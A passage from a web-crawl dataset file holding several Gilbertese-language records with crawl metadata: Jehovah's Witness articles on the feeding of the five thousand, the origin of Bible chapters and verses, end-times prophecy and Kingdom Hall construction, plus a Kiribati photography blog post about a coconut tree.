e ataa te bwai ae e na karaoia ma e kataa moa Biribo n titirakinna ni kangai: \"Ti na kabooa ia te kariki bwa kanaia te koraki aei?\" E titirakinaki Biribo ibukina bwa e maeka n uakaan ma Betetaita. Ma e na bon aki toki te kangaanga ni kabooan te kariki. Iai mwaane aika tao 5,000 ao e kona n taboro te mwaiti anne, ngkana a warekaki aine ma ataei! E kaeka ni kangai Biribo: \"E na aki tau naba te kariki ae e na bane iai uabubua te tenariati, bwa ane a na amwarake n tatabemania nako n tii tatabeuta mai iai.\"—Ioane 6:5-7.\nTao e kani kaota kangaangani kaamwarakeaia aomata ni kabane Anterea ngke e taku: \"Iai te teinimwaane aei ae iai irouna nimaua te kariki ae karaoaki man te baare ao uoman iika aika uarereke. Ma iai manenani baikai ibukia aomata aika rangi ni bati aikai?\"—Ioane 6:9.\nTe tai anne bon tain te abue imwain raoi te Toa ae te Riao n 32 C.E, ao e a buta rabeen te tabuki n uteute aika kiriin. E tua Iesu nakoia taan rimwina bwa a na katekatekaia aomata i aon te uteute n ikotiia iai kaka 50 ke kaka 100. E anai kariki ake nimaua ao iika ake uoman ao e kaitaua te Atua. E bwenauai ngkanne kariki ao e tibwatibwai iika, ao e angania taan rimwina ao a a manga tibwatibwai nakoia aomata. E kamimi bwa a bane ni ngae iai te koraki!\nImwina riki ao e tuangia taan rimwina Iesu ni kangai: \"Ikotii nikiran amwarake bwa a aonga n aki taonaba.\" (Ioane 6:12) A a kaoni bwaene aika 12 n nikirani kanaia!","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/kaamwarakeia-nga-ma-nga-kariki-iika\/","date":"2018-04-24T03:53:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00634.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":528,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"The coconut tree is very important to our daily lives. It provides us so many things including: food, medicine, shelter, woods, drinks, string, firewoods, copra, shells, kaokioki (liquor) and so forth. It's indeed the first to wave you welcome upon your arrival and the last to wave a farewell as you leave our islands.\nIt's the coconut tree nearby one of the homes in Temwaiku. I took the shot right from beneath the tree – trying to keep the fruits in focus. I also wanted the leaves to evenly form an outer circular background. Both blurry and clarity on different parts of the image were achieved using photo software.\n'Have A Job' actually talks about why these rocks are placed at this particular site. What if the rocks fall or are washed away by the waves? Our road (newly built) will be gone!\nIt's Temwaiku again but this time on the ocean side of the Taiwan Technical Mission camp. For a change, I turned this colour scene into B&W – then with the use of fade style it ended up as this.\nWonder, what the next photograph is going to be? See you …\nN te tai aio ao ti a neweabaa ngkanne tanraken Temwaiku – te tabo are uakaan ma te auti are te boratentao (kanga a nang akea rabwatana n noraki n taai aikai). Oin au kantaninga n te tai aio bon rawean tamnein Bonriki International Airport ma iai te angabuaka aingaia are I a toua te kawai are e ritanrake mai tabon te marae are i Bonriki ni biri nako te Temwaiku. Bon 31 n Aokati 2017 te bong aio!\nE tau ma ti a okira rongorongon ara tamnei aio. E a bon kaan tawanou (tao 10am) te tai aio ao are kanga ti aki tain te rawetamnei ae tamaroa bwa are e a moanna ni matoa te riringa ma te oota ike a kona ni kakorakora te maii n te tamnei. I set au camera (dsrl nikon d3100 ma ana kits lens) n aron aikai:- mode bon manual, iso 100, f\/16 ao te shutter ae 1\/250. I aki kabongana te tripos n te tai aio kioina bwa e bikebike te tabo aio ao e aki boraoi aontano. E bati au tamnei ae i rawei n te tabo aei ma aio bon teuana mai buakoia.\nIai ataeinimwane aika 2 aika a mena naba ni uakaan ma te tabo ane i rawetamnei iai. N rokoia irarikiu ao a titirakinai bwa tera ae i raweia ao ibukin tera. I kabwarabwara bwa bon kanoan au kakibotu. N titirakinaia irou bwa tera ao a kakaea riaon te bike ao a taku bwa a kakaei abeaia n roaroa taian mwakauro.\nN aron angiin au tamnei ikai, ao I aki rangi n tatangira te tamnei ae bati te bitaki iai. Riki ngkana e karaoaki n te Photoshop ke software riki tabeua. Engae ngke e rangi n tamaroa te final product ma te kangaanga bwa e a aki rangi ni real the scene. E tau ti a manga nora karaoan au tamnei aio n te photoshop bwa I ti karokoi taian colors, teutana te crop mai nano, te shapening ma te noise reduction. Akea te object ae I added ke deleted. N tokin te tai ao I kukurei bwa e kaoti raoi are bon ngaia ngke I taraia ni matau.\nNote:- Te tamnei aio bon ti 816×457 pixels. Ngkana ko tangira te original pixels ao reitaki ma ngai bwa N na anganiko te link ibukin te original file ae 4608×2580 pixels ao 356kb. Ai aron naba au tamnei ni kabane ikai – are ngkana ko kani kabonganai ao reitaki bwa N na anganiko te original file.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/tag\/temwaiku\/","date":"2018-04-26T03:25:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00180.warc.gz","language":"gil","language_score":0.9996017814,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9996017813682556}","num_words":600,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IANGOIA bwa te Kristian ngkoe n te moan tienture. E a tibwa tia n reke te reta mairoun te abotoro Bauro n am ekaretia. Ngke ko kakauongo ni warekana, ao ko noria bwa n angiin te tai e mwanewei Bauro taeka man \"te koroboki ae tabu\" ae taekan te Baibara n Ebera. (2 Timoteo 3:15) Ko bae ni kangai, 'I boni kan nora te kibu are e mwanewei mai iai.' Ma e na boni kangaanga anne. Bukin tera?\nAKEA MWAKORO AO KIIBU\nIangoia bwa tera aron taraan te nira ni boki ibukin \"te koroboki ae tabu\" n ana bong Bauro. Aei boni mwakoron teuana te boki ae Itaia man Taari ae Mate. Tera ae ko noria? Ai bon te koroboki naba ni kabane! Akea te biriari ke te komwa. Ao akea mwakorona ma kibuia aika kaotaki n aron ae ti noria ni boong aikai.\nA aki tibwatibwai aia rongorongo nakoni mwakoro ke kiibu taani korea te Baibara. A tii korei rongorongo aika bwanin ake e angania te Atua bwa a aonga ni warekia taani wareware ni kabwaninna, ma tiaki tii iterana. Tiaki anne ae ko karaoia ngkana e reke am reta ae kakawaki mairoun temanna ae ko tangiria? Ko boni bae ni wareka te reta ni kabane ao tiaki tii mwakorokorona.\nBon iai te kangaanga ngkai akea mwakorona ao kibuia. E kona Bauro ni kinai ana taeka ake e mwanewei n taeka aikai \"n aron are koreaki ni kangai\" ke \"n aron naba are e a kaman taekinna Itaia ni kangai.\" (I-Rom 3:10; 9:29) Ao e kangaanga kakaaean taeka akanne ma tii ngkana ko a rangi n taneiai ma te \"koroboki ae tabu.\"\nIrarikin anne, tiaki tii teuana kanoan te \"koroboki ae tabu\" anne mairoun te Atua. Bwa n tokin te moan tienture C.E., ao e a reke kanoana booki aika kakaokoro aika 66! Anne bukina ngkai ni boong aikai ao a kukurei angia taani wareware bwa a a nambwanaki mwakorona ma kibuna are a a buokaki iai ngkana a kakaaei rongorongo aika a tangiri n aron ana taeka Bauro aika bati ake n ana reta.\nKo bae n titiraki ni kangai, 'antai ngkanne ae korei mwakoron ma kibun te Baibara?'\nANTAI AE KARINI MWAKORO?\nE ataaki bwa e karini mwakoron te Baibara te mitinare ae kaain Engiran ae Stephen Langton are e riki imwina riki bwa te Akebikobo. E karaoa aei ni moan te ka-13 n tienture C.E., ngke e riki bwa te tia reirei n te Kuura ae Rietata i Paris i France.\nImwain ana bong Langton, a a bon tia taan rabakau ni kataia n tibwatibwaa te Baibara n aanga aika kakaokoro nakoni mwakoro ao iterana aika uarereke riki, ma e taraa n ae tii ibukini buokan aia ukeuke. Ko kona n iangoia bwa tera aroni bebeten riki kakaaean te mwakoro ngke arona bwa a ukeria n tii teuana te mwakoro, ao ai tiaki n te boki ae bwanin tao n aron te boki ae Itaia ma mwakorona aika 66.\nA karika te kangaanga aaro akanne ni kabane. A karaoa aia babaire taan rabakau aika bati ma ni kakaokoro ao n aki boraoi. Teuana mai iai bon te Euangkerio ae Mareko, are e tibwatibwaaki nakon 50 mwakorona ao tiaki 16 n aron ae iroura ngkai. Iai taan reiakina te Baibara i Paris aika roko man aaba aika bati n ana bong Langton, ao a uotii Baibara mai abaia. Ma a aki kona taan reirei ao aia ataei ni kabwarabwarai i marenaia te tabo are a taekinna n te nira ni boki. Bukin tera? Ibukina bwa a aki boraoi kanoani mwakoro n aia nira ni boki.\nNgaia are e a karaoa tibwatibwaani mwakoro aika boou Langton. Ana babaire aei \"e bon tangiraki irouia taani wareware ma taani koroboki ao e a taabangaki kabonganaana i aon Eurobe\" n aron ae e oti n te boki ae The Book—A History of the Bible. Ngaia are ti a kona n nori mwakoro ma nambwaia n angiini Baibara ni boong aikai.\nANTAI AE KARINI KIIBU?\nTao 300 te ririki imwina, n nukan te ka-16 n tienture, ao e a kabebetea riki te kakaae te tia rabakau ae rangi ni kinaaki ae te tia boreeti are te I-Buranti ae Robert Estienne. Tiana n aei bwa e na kataabangaka te reirei n te Baibara. E nora aroni kakawakin reken te babaire ae boraoi ni karaoan nambwani mwakoro ao kiibu.\nBon tiaki raoi ana iango Estienne tibwatibwaan te Baibara nakoni kiibu. E a kamani karaoaki anne irouia tabemwaang. N te katoto, n tienture ake imwaina, ao a a tia taani kaewewe aika I-Iutaia n tibwatibwaa te Baibara n Ebera ni kabane ke iterana are ataaki bwa te O Tetemanti nakoni kiibu ma akea mwakorona. Akea naba boraoin te babaire ni kaineti ma karekeani mwakorona.\nE tibwatibwaa te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti ke ae ataaki bwa te Nu Tetemanti Estienne, nakoni kiibu aika boou ao n ikotii ma ake a a kaman rin n te Baibara n Ebera. N 1553, e a boreetia te moani Baibara (n te taetae ni Buranti) ma mwakoro ao kiibu aika kamanenaaki n angiini Baibara ni boong aikai. Bon taan tiribure aomata tabeman ao a taku bwa e a uruaki te Baibara nakoni mwakorokoro mani kiibu aikai, n te aro are e taraaki bwa rongorongo aika kakaokoro ao n aki tomatoma raoi. Ma a waekoa ni kakairi ao ni kabongana te babaire aei naake a boreeti Baibara.\nBUOKAIA TAAN REIAKINA TE BAIBARA\nE taraa n ae bon te iango ae bebete karekean nambwani mwakoro ao kiibu. E a reke te \"tabo\" ae a kona ni kuneaki iai kibun te Baibara. E bon aki kairaki iroun te Atua tibwatibwaani mwakoron ao kibun te Baibara, ao n tabetai a a kamangaoi kiibu. Ma e a bebete riki iai iroura kakaaean ao kanikinaean ke tibwaakin kiibu aika ringaki iai nanora nakoia tabemwaang, kaanga ai aron mwaakenan taeka ke kibuntaeka aika ti kan ururingi riki man te kaongora ke te boki teuana.\nE ngae ngke e manena tibwatibwaan te Baibara nakoni mwakorona ao kibuna, ma ururingnga bwa e kakawaki bwa ti na ota raoi n te rongorongo ae e anganira te Atua. Karikirakea anuam ae warekani bwaninin te rongorongo nakon are ko tii kaokoroi kiibu. Ni karaoan anne, ko na buokaki iai bwa ko na taneiai riki ma kanoan 'te koroboki ae tabu are e na kawanawanako bwa ko aonga ni kamaiuaki.'","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na2-2016-maati\/mwakoro-ao-kiibu-n-te-baibara\/","date":"2018-04-25T07:43:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00233.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1053,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kakoauaaki ni kangaanga aika riiriki i aon te aba, bwa e a kaan rokon Ana Tautaeka n Uea te Atua. Ruka 21:10, 11; 2 Timoteo 3:1-5\nE a kaman taetae ni burabetinaki n te Baibara bwaai aika bati aika riki ni boong aikai. E taekinaki iai bwa a na riki aomata bwa taani bakimwane, taan aki ongeaba irouia aia karo, taan iowawa, ao taan tangira riki kakukurein te rabwata.\nA na roko mwaeiein te aba aika korakora, buaka, roongo, ao aoraki aika mwaiti. A a riki baikai ni boong aikai.\nE taekinna naba Iesu bwa e na tataekinaki te rongorongo ae raoiroi ae taekan te Tautaeka n Uea, n te aonnaba ni kabutaa.\nE na kamauna te buakaka ni kabane te Tautaeka n Uea. 2 Betero 3:13\nE a kaan ana tai Iehova ni kamaunaia aomata ni kabane aika buakaka.\nA na katuuaaeaki Tatan ma ana taimonio.\nA na maiu te koraki ake a ongeaba iroun te Atua n te waaki ae boou ae raoiroi i aon te aba, are e nang akea iai te maaku, ae te aonnaba ae a maeka iai aomata aika onimakinia, ao n itangitangiri i marenaia.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ongeaba-ao-maiu\/e-na-roko-n-ningai-bwaretaiti\/","date":"2018-04-25T01:37:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947654.26\/warc\/CC-MAIN-20180425001823-20180425021823-00207.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":186,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1, 2. (a) Tera ae a a maan ni kakaraoia ana toro Iehova ma te kimwareirei? (b) Tera ae e kakawaki iroun Iehova?\nA A MAAN ana toro Iehova aika kakaonimaki ni koaua ni kakaraoi mwakuri ni kateitei ma te kimwareirei ake e neboaki iai arana. N te katoto, a ingainga tibun Iteraera n uataboa katean te umwanrianna ae tabu ao n tituaraoi ni katauraoi bwaina nako.\n2 E aki tarai bwaai ni kateitei Iehova bwa bwaai aika kakawaki ake e karineaki iai ao e aki kaatuui iangoani kakawakini bwaai aikai. (Mat. 23:16, 17) Te bwai ae e kakawaki iroun Iehova ae te bwaintangira ae karineaki riki iai, bon taromauriana irouia ana toro ao nanoia n anganga ao ingaingaia ni mwakuri. (TeOti. 35:21; Mareko 12:41-44; 1Tim. 6:17-19) E kakawaki ataakin anne. Bukin tera? Ibukina bwa a aki teimaan kateitei. N te katoto, ai akea te umwanrianna ae tabu ao te tembora. E bae n ae ai akea kateitei akanne ma Iehova e aki mwaninga te tituaraoi ao aia bekutata ana toro aika kakaonimaki ni koaua ake a boutokai kateitei akanne.\n3. Tera ae ti na rinanona n te mwakoro aei?\n3 A mwakuri korakora naba ana toro Iehova ni boong aikai ni katei taabo n taromauri. Ai bon rianakora mwin te bae ti a tia ni kakororaoia i aan ana kairiri ara Uea ae Iesu Kristo! E teretere bwa e boni kakabwaiaa ara kakorakora Iehova. (TaiAre. 127:1) N te mwakoro aei ao ti na rinanon tii tabeua mai buakoni mwakuri ake a a tia ni karaoaki ao aroia ni karinea Iehova. Ti na ongora naba mairouia tabeman ake a a tia n uataboa kakororaoan te mwakuri aei.\nKatean Taabo n Taromauri\n4. (a) Bukin tera ngkai ti kainnanoi taabo riki n taromauri? (b) Bukin tera ngkai a a kabuburaaki riki aobiti n tararua aika mwaiti? (Nora te bwaoki ae \"Kateakin Aobiti n Tararua\n4 N aron ae e maroroakinaki ni Mwakoro 16 ao e tangiria Iehova bwa ti na bobotaki ibukin te taromauri. (Ebera 10:25) E aki tii kakorakoraaki ara onimaki n ara bobotaki, ma e karikirakeaki naba iai ingaingara n te mwakuri n uarongorongo. E teimatoa Iehova ni kawaekoaa te mwakuri anne kioina ngkai e a kaan tokini kabaneani boong. Ibukin anne ao a a ikotaki aomata aika bubua ma bubua tenga nakon ana botaki ni katoa ririki. (Ita. 60:22) Man rikirakeni mwaitiia ana aomata te Tautaeka n Uea, e a rikirake naba iai kainnanoan taabo ni boreeti ibukini boreetiani booki aika aanaki n te Baibara. Ti kainnanoi naba taabo riki n taromauri.\n5. Bukin tera ngkai e tonu raoi te ara ae te Kingdom Hall? (Nora naba te bwaoki ae \"Te Ekaretia ae te Oota ae Boou.\")\n5 E noraki naba bwa a kainnanoa oin aia tabo ni botaki ana aomata Iehova ake Taan Reirei n te Baibara n taai ake a nako. E oti bwa teuana mai buakon taabo n taromauri ake a moani kateaki, bon are i West Virginia n te U.S.A. n 1890. N 1930 tabun ao a a tia ana aomata Iehova ni katei ke n onobwai kateitei aika bati, ma a tuai ngkanne n reke araia ae okoro. Ma n 1935 ao e a nako Hawaii Brother Rutherford, ike e a kateaki iai te tabo teuana ae toma ma te aobiti n tararua ae boou. Ngke e titirakinaki Brother Rutherford bwa tera aran te kateitei aei ae riai n aranaki iai, ao e kaeka ni kangai: \"Kam aki iangoia bwa ti riai n aranna bwa te 'Kingdom Hall [ae nanona, Ana Tabo te Tautaeka n Uea] *' kioina ngkai bon anne te bae ti kakaraoia ae tataekinan te rongorongo ae raoiroi ibukin te Tautaeka n Uea?\" (Mat. 24:14) E nang aki riki te ara ane e tonu raoi anne bwa tii aran te kateitei anne ma a nang aranaki naba iai angiin taabo ni botaki ake a kamanenai aia ekaretia ana aomata Iehova, ni katobibia te aonnaba.\n6, 7. A riki bwa bwaai n raa katean Taabo n Taromauri aika baitii kateakia?\n6 N 1970 tabun ao e a waekoa n rikirake kainnanoan Taabo n Taromauri. Ibukin anne ao taari ake n te United States a karaoa te anga ni kateitei ae materaoi ibukini katean Taabo n Taromauri aika kantara, i nanon tii tabebong. N 1983 ao iai 200 tabun Taabo n Taromauri ake a kateaki n te United States ao i Kanata. A a katea te Komete Ibukin te Kateitei n te Aono taari bwa e aonga ni kakororaoaki te mwakuri. E rangi n nakoraoi te anga aei n te aro are e a karaoa te babaire te Rabwata n Tautaeka n 1986, ao n 1987 a a tei n te United States 60 Komete Ibukin te Kateitei n te Aono. * N 1992 ao e a tei naba te komete anne i Argentina, i Aotiteria, i Buranti, i Tiaman, i Tiaban, i Mexico, i Aberika Maiaki, ao i Tibein. N etina, ti riai ni boutokaiia taari aika mwakuri korakora ni katei Taabo n Taromauri ao Taabo ibukin te Runga, kioina ngkai te mwakuri are a karaoia bon iteran naba te mwakuri ae tabu.\n7 A a riki Taabo n Taromauri aika baitii kateakia aikai bwa bwaai ni kaotioti nakoia aomata n taabo ake a kateaki iai. N te katoto, te nuutibeeba i Tibein ae atunaki n ae \"E kamwaingi Maunga te Onimaki,\" e kamoamoaaki iai katean te aeka n Tabo n Taromauri anne n te kaawa ae Martos, ao iai te titiraki iai ae kangai: \"E kangaa n reke n te aonnaba ae korakora iai te bangaomata, bwa e na iai taan anganano aika aki bangaomata man aonon nako [Tibein] aika kakaokoro, ake a a mwananga nako Martos bwa a na karaoa te kateitei are e a tia n tekeni taiani kateitei rimoa n aroni baitiin tiana, nakoraoina, ao barongaakina raoi?\" E kaekaaki te titiraki n te nuutibeeba anne ni mwanewean ana taeka temanna te tia Kakoaua are anga nanona naba, ni kangai: \"E riki anne ibukina bwa ti reireinaki iroun Iehova.\"\nKateitei n Aaba Aika Aki Kaubwai\n8. Tera te babaire ae boou n 1999 are e kariaia te Rabwata n Tautaeka, ao bukin tera?\n8 N raabanen te ka-20 n tienture ao a a bati aomata aika raanga nakon ana botaki Iehova n aaba ake a maeka iai taari aika aki kaubwai. A karaoa aia kabanea ni konaa taari man ekaretia ni katei taabo ni botaki. Ma n aaba tabeua ao a rinanon te bwainingareaki ao te ribaaki, kioina ngkai a rangi ni mangori aia Tabo n Taromauri ake a kateaki n aia aono ngkana a kabotauaki ma taabo n taromauri riki tabeua. Ma ni moa man 1999 ao e kariaia te Rabwata n Tautaeka te babaire ae kabaitiiani katean Taabo n Taromauri n aaba aika aki rangi ni kaubwai. E karekeaki te mwane man aaba aika kaubwai riki bwa e aonga ni 'kaboraoaki te uota.' (Wareka 2 I-Korinto 8:13-15.) Ao a anganano naba taari mwaane ao aine man aaba tabeua ibukini buokan te mwakuri.\n9. Tera te mwakuri ae taraa n rangi ni kangaanga karaoana, ma tera mwina?\n9 N te moantai ao e taraa n rangi ni kangaanga karaoan te mwakuri. E oti n te ribooti n 2001 bwa a raka i aon 18,300 Taabo n Taromauri ake a kainnanoaki n aaba aika 88 aika aki rangi ni kaubwai. Ma e boni kona ni kakororaoaki te mwakuri man ana boutoka taamnein te Atua ao ara Uea ae Iesu Kristo. (Mat. 19:26) Tao tii i nanon 15 te ririki man 1999 nakon 2013, ao a a kateaki naba Taabo n Taromauri aika 26,849 irouia ana aomata te Atua bwa kanoan naba te babaire aei. * E teimatoa Iehova ni kakabwaiaa te mwakuri n uarongorongo n te aro are n 2013, a teimatoa ni kainnanoaki riki Taabo n Taromauri aika 6,500 tabun n aaba akanne, ao n taai aikai ai bubua ma bubua aika a kainnanoaki riki ni katoa ririki.\n10-12. E kangaa ni karineaki aran Iehova ni katean Taabo n Taromauri?\n10 E kangaa ni karineaki aran Iehova ni katean Taabo n Taromauri aika boou aikai? E taekinaki ae kangai n te ribooti man te aobiti n tararua i Zimbabwe: \"Tii i nanon teuana namwakaina imwin tian te Tabo n Taromauri ae boou ao e a taboro naba mwaitiia ake a kaea te botaki.\" N aaba aika bati ao e taraa n ae a aki kani bobotaki ma ngaira aomata ni karokoa te tai are e a tei raoi iai ara tabo n taromauri ae bon tau. Ma n te tai naba are e tia iai katean te Tabo n Taromauri ao e a waekoa naba n onrake ike e a manga tangiraki riki katean teuana. Ma e bati riki te bae a katikaki iai aomata nakon Iehova nakon tii kanin tein aia tabo. Te tangira ni Kristian ae koaua are kaotiotaki irouia naake a katei taabo ni botaki, e bon rotii naba aia iango aomata ibukin ana botaki Iehova. Iangoi katoto tabeua.\n11 Indonesia. Ngke e a ataia te mwaane temanna are e matakuakina katean te Tabo n Taromauri teuana ae a bane n anga nanoia taani mwakuri, ao e taku: \"Kam rangi ni kamimi! I a tia n nora aromi n tatabemaningkami nako ni mwakuri ma nanomi ni kabane ao ni kimwareirei, e ngae ngke kam aki kabooaki. I taku bwa bon akea riki te Aro teuana ae ai aromi!\"\n12 Ukraine. E taku te aine ae kakatoabong n rirarikin te mwakuri ni kateitei teuana ibukin te Tabo n Taromauri, bwa taani mwakuri iai bon Ana tia Kakoaua Iehova ao te auti are kateaki bon te Tabo n Taromauri. E taku: \"I a tia n ongo taekaia Ana tia Kakoaua Iehova mairoun tariu are ngaia naba temanna kaaina. Ni matakuakinan te mwakuri ni kateitei aei ao I a baireia bwa N na kaaina naba te utu n te onimaki aei. I nora iai kaotiotan te tangira.\" E butimwaea te reirei n te Baibara te aine aei ao e bwabetitoaki n 2010.\n13, 14. (a) Tera reireiam man aroia te taanga teuana imwini mamatakuakinan irouia katean te Tabo n Taromauri? (b) Tera ae ko kona ni karaoia bwa e na karineaki iai aran Iehova n am tabo n taromauri?\n13 Argentina. A kawara te tari ae tararuaa katean te Tabo n Taromauri te taanga teuana. E taku teuare te buu te mwaane: \"Ti a tia ni karaua ni matakuakina ami mwakuri ni kateitei, ao . . . ti baireia bwa ti kan reiakina taekan te Atua n te tabo aei.\" E titiraki ngkanne ni kangai: \"Tera ae ti riai ni karaoia bwa ti aonga n tau ni kaei bobotaki ikai?\" A butimwaea te reirei n te Baibara te taanga aei, ma tii ngkana e kariaiakaki ae a na bane kaain aia utu n reireinaki. A rangi ni kukurei taari ao a kariaia te babaire aei.\n14 E bae n aki reke am tai ni buoka katean te Tabo n Taromauri n te tabo are ko bobotaki iai, ma ko kona ni karaoa ae bati n arom n ibuobuoki nakon am tabo n taromauri bwa e na karineaki iai aran Iehova. N te katoto, ko kona n ingainga ni kaoia aomata aika ko reirei ma ngaiia n te Baibara, aika ko okiokiriia, ao aomata riki tabemwaang bwa a na raoniko ni kaei botaki n te Tabo n Taromauri. Ko kona naba ni buoka kaitiakan ao kateimatoaan tamaroan am tabo n taromauri. Ngkana iai te mwane ae ko kataua ibukina, ko na bae n anga am bwaintangira ibukin te Tabo n Taromauri are ko roroko iai, ke ko bwaintangira ibukini katean taabo n taromauri aikai n aaba tabeua n te aonnaba. (Wareka 1 I-Korinto 16:2.) A bane mwakuri aikai n riki bwa neboan aran Iehova.\nTaani Mwakuri Aika 'Kukurei n Anga Ngaiia'\n15-17. (a) Antai aika karaoi angiini mwakuri ni kateitei? (b) Tera reireiam man aia taeka taanga ake a a tia ni mwakuri n te mwakuri ni kateitei n te aba ae kaokoro?\n15 Angiini mwakuri ake a karaoaki ibukini katean Taabo n Taromauri, Taabo ibukin te Runga, ao kateitei ibukin te aobiti n tararua, a boni karaoaki irouia taari mwaane ao aine aika kaain te aba. Ma a aki toki ni buokaki irouia taari mwaane ao aine man aaba tabeua ake iai rabakauia n te kateitei. A a tia tabeman mai buakoia taan anganano akanne ni karaoa aia babaire bwa a aonga ni kona ni karaoa te mwakuri ni kateitei n te aba ae kaokoro i nanoni wiki aika bati. A a tia tabemwaang ni kamwawaa aia tai bwa a aonga ni beku i nanon ririki aika bati, ni karaoa te mwakuri ni kateitei teuana imwin teuana.\n16 Iai kangaanga aika okoro ni karaoan te mwakuri ni kateitei n te aba ae kaokoro, ma iai naba baika kakukurei iai. N te katoto, a a tia Timo ao Lina ni mwananga nakon aaba aika Atia, Eurobe, ao Amerika Maiaki ni katei iai Taabo n Taromauri, Taabo ibukin te Runga, ao aobiti n tararua. E taku Timo: \"E a boni bibitaki naba mwiokoau ni katoa uoua te ririki i nanon ririki aika 30 aika nako.\" E kangai Lina are mare ma Timo 25 te ririki n nako: \"I a tia ni beku ma Timo n aaba aika kakaokoro aika tebwina. E kainnanoaki te korakora ae bati ao te tai bwa ko aonga n taneiai n te amwarake ae boou, n te kabuebue ke n te mwaitorotoro ae ko aki taneiai iai, n te taetae ae boou, n te aono n uarongorongo ae boou, ao ai karekeaia raoraom aika boou.\" * E uaana te kakorakora? E taku Lina: \"A a reke kakabwaiaakira aika rangi ni bati mani kangaanga. Ti namakina te tangira ni Kristian ma te iakoakoi, ao ti namakina naba tangirara iroun Iehova. Ti nora naba kakoroani bukin ana berita Iesu nakoia taan rimwina are koreaki ni Mareko 10:29, 30. A a reke tarira, mwaanera, ao tinara n te onimaki aika tebubua riki mwaitiia.\" E taku Timo: \"Ti karekea te raunnano ae bati ngkai ti kabongana rabakaura ibukin te waaki ae te kabanea n rine, ae uataboani karababaan ana bwai nako te Uea.\"\n17 A namakinna Darren ao Sarah ake a a tia ni buoka te mwakuri ni kateitei i Aberika, i Atia, i Amerika Nuka, i Eurobe, i Amerika Maiaki, ao n te Betebeke Maiaki, bwa a bati riki baika karekei nakon ake a anga. E taku Darren n aki ongei kangaanga ake a kaaitarai: \"Bon te kakabwaia te mwakuri ma taari man aaba aika kakaokoro n te aonnaba. I noria bwa te tangira ae ti uataboia ibukin Iehova, ai aron te karai ae katobibia te aonnaba are ti a kabaeaki iai ni kabane.\" E taku Sarah: \"Ai batira baika I reiakin mairouia taari mwaane ao aine aika kakaokoro aia katei! I kaungaaki bwa N na teimatoa n anga au kabanea n raoiroi man noran aroia taari n anga ngaiia bwa a na beku ibukin Iehova.\"\n18. E kangaa ni kakororaoaki te taetae ni burabeti are n Taian Areru 110:1-3?\n18 E taetae ni burabetinna te Uea ae Tawita bwa e ngae ngke a na kaaitara ma kangaanga ana aomata te Tautaeka n Uea, ma a na boni 'kukurei n anga ngaiia' bwa a na beku ibukin te Tautaeka n Uea. (Wareka Taian Areru 110:1-3.) A bane n uataboa kakoroani bukin taian taetae ni burabeti akanne naake a karaoa te mwakuri ae boutokaa te Tautaeka n Uea. (1Kor. 3:9) Mwaitin aobiti n tararua aika kateaki, Taabo ibukin te Runga aika bubua ma bubua, ao Taabo n Taromauri aika irabwi tenga ni katobibia te aonnaba, a kaota te bwai ni kakoaua ae aki kona ni kakeweaki bwa bon iai ana Tautaeka n Uea te Atua ao e a kariri ngkai. Ai kakabwaiaakira ngaira ngkai ti beku iroun te Uea ae Iesu Kristo n te mwakuri ae karekea neboan Iehova are e bon riai n anganaki!\n^ bar. 5 Ti aki kabongana te ara ae \"Ana Tabo te Tautaeka n Uea Ibukia Ana tia Kakoaua Iehova\" kioina ngkai e aki kan n te taetae ni Kiribati, ao e aki raira raoi ae nanonaki n te taetae n Ingiriti.\n^ bar. 6 N 2013 ao e raka i aon 230,000 taan anganano ake a kariaiakaki bwa a na mwakuri ma 132 taiani Komete Ibukin te Kateitei n te Aono aika n te United States. N te aba anne ao komete akanne a bairei ni katoa ririki mwakuri ni kateitei ibukin tao 75 Taabo n Taromauri aika boou ao a buoki manga katamaroaan ke onobwaiani kateitei aika tao 900 mwaitiia.\n^ bar. 9 E aki oti n te ware aei mwaitin Taabo n Taromauri aika rangi ni bati ake a kateaki n aaba ake a aki rinanon te babaire aei.\n^ bar. 16 A kabanei angiin aia tai n taabo ni kateitei taan anganano ao taani beku n te aba ae kaokoro, ma a boutokai naba ekaretia ake n te aono anne ni karaoan te 